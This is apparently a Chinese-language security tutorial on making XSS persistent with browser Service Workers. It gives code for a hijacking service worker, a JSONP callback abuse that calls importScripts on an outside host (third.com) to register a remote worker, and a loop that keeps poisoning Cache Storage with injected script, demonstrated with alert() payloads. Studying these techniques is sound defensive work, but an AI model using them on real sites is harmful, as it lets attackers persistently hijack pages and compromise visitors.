RootkitXSS之ServiceWorker
在拿到一個可以XSS點的時候後,持久化成為一種問題。這幾天跟師傅們接觸到RootkiXss的一些姿勢,受益匪淺
Serviceworker定義
Service workers(後文稱SW) 本質上充當Web應用程式與瀏覽器之間的代理伺服器,也可以在網路可用時作為瀏覽器和網路間的代理。它們旨在(除其他之外)使得能夠建立有效的離線體驗,攔截網路請求並基於網路是否可用以及更新的資源是否駐留在伺服器上來採取適當的動作。他們還允許訪問推送通知和後臺同步API。
也就是說SW 提供了一組API,能夠攔截當前站點產生HTTP請求,還能控制返回結果。因此,SW 攔住請求後,使用 Cache Storage 裡的內容進行返回,就可以實現離線快取的功能。當Cache Storage不存在請求的資源時再向伺服器請求,cache.put可以選擇性地將請求資源載入到cache storage中。如果不手動取消已經註冊過的sw服務,重新整理/重新開啟頁面都會啟動站點的sw服務,這為我們持久化XSS提供了一定的條件。
檢視SW服務
Chrome位址列訪問 chrome://serviceworker-internals/,就可以看見已有的後臺服務。
註冊serviceworker
註冊點js程式碼
<script type="text/javascript"> var url="//localhost/serviceworker.js"; if ('serviceWorker' in navigator) { navigator.serviceWorker.register(url) .then(function(registration) { console.log('ServiceWorker registration successful with scope: ', registration.scope); }) }; </script> normal visit
script標籤下的type必須指明為 text/javascript
event.request.clone()
物件的內容如圖

攻擊條件
一個可以XSS的點
sw檔案可控
如果說sw可以放在同源下,也就是js檔案可控的話。直接註冊Sw,程式碼如下:
// 攔截特定的Url,如果請求是對應的Url,則返回攻擊的response self.addEventListener('fetch', function (event) { var url = event.request.clone(); body = '<script>alert("test")</script>'; init = {headers: { 'Content-Type': 'text/html' }}; if(url.url=='http://localhost/reurl.html'){ res= new Response(body,init); event.respondWith(res.clone()); } });
jsonp回撥介面
利用儲值型X點寫入下面的程式碼
<?php // JSONP 回撥名缺少校驗 $cb_name = $_GET['callback']; $cb_data = time(); header('Content-Type: application/javascript'); echo("$cb_name($cb_data)");
attack_js
<script type="text/javascript"> var url="//localhost/getdata?callback=importScripts('//third.com/sw.js?g')"; if ('serviceWorker' in navigator) { navigator.serviceWorker.register(url) .then(function(registration) { console.log('ServiceWorker registration successful with scope: ', registration.scope); }) }; </script>
這裡面callback回撥的事件就相當於sw指令碼。當js被執行之後會註冊一個sw指令碼,內容是回撥的事件


或者雞肋上傳一個html到網站下
<html> <meta http-equiv="Content-Type" content="text/html;charset=utf-8" /> <body> <script type="text/javascript"> var url="//localhost/getdata?callback=importScripts('//third.com/sw.js?g')"; if ('serviceWorker' in navigator) { navigator.serviceWorker.register(url) .then(function(registration) { console.log('ServiceWorker registration successful with scope: ', registration.scope); }) }; </script> it's nothing </body> </html>
侷限
- 存在有缺陷的 JSONP 介面
- JSONP 的目錄儘可能淺(最好在根目錄下),如果放在域的根目錄下,將會收到這個域下的所有fetch事件
- JSONP 返回的 Content-Type 必須是 JS 型別
- 存在 XSS 的頁面
在網上看到一個師傅這樣作例,引用一下:
service worker檔案被放在這個域的根目錄下,這意味著service worker和網站同源。換句話說,這個service work將會收到這個域下的所有fetch事件。如果我將service worker檔案註冊為/example/sw.js,那麼,service worker只能收到/example/路徑下的fetch事件(例如: /example/page1/, /example/page2/)
Cache快取汙染
前文的攻擊不涉及cache裡的資源,進行的是協商快取,下面說一下強快取的利用。
請求資源
如果使用cache.put方法,則請求的資源成功後會存在Cache Storage裡。如果fetch裡寫了caches.match(event.request)方法,則每次請求時會先從caches找快取來優先返回給請求頁面。若沒有快取,再進行新的快取操作。
下面是一個快取讀取/判斷的demo
// 攔截特定的Url,如果請求是對應的Url,則返回攻擊的response。否則用Fetch請求網路上原本的url,進行本地快取(為了不影響正常功能)) self.addEventListener('fetch', function (event) { event.respondWith( //console.log(event.request) caches.match(event.request).then(function(res){ if(res){//如果有快取則使用快取 return res; } return requestBackend(event);//沒快取就進行快取 }) ) }); function requestBackend(event){ var url = event.request.clone(); console.log(url)//列印內容是列印到請求頁面 if(url.url=='http://localhost/reurl.html'){//判斷是否為需要劫持的資源 return new Response("<script>alert(1)</script>", {headers: { 'Content-Type': 'text/html' }}) } return fetch(url).then(function(res){ //檢測是否為有效響應 if(!res || res.status !== 200 || res.type !== 'basic'){ return res; } var response = res.clone(); caches.open('v1').then(function(cache){//開啟v1快取進行儲存 cache.put(event.request, response); }); return res; }) }
分析
前幾天看ED師傅的研究,發現這種好玩但是雞肋的方法。上面提到cache.put的方法把js資源新增到Cache Storage,其實如果我們用cache.put把惡意程式碼插入,覆蓋原始的js資料。後果就是當sw請求cahce裡的資源時會執行惡意程式碼。比如workbox會先從快取讀取靜態資源,我們用非同步請求將惡意程式碼無限覆蓋這個快取時:
控制檯輸入下面的惡意程式碼
async function replay() { const name = 'xx' const url = 'xx' const payload = ` alert(1); ` let cache = await caches.open(name); let req = new Request(url); let res = new Response(payload + replay + ';replay()');//執行alert+寫入cache內容+執行fn setInterval(_ => { cache.put(req, res.clone()); }, 500); } replay();
就可以在cache Storage裡看到500ms重新整理並覆蓋一次的js資源。
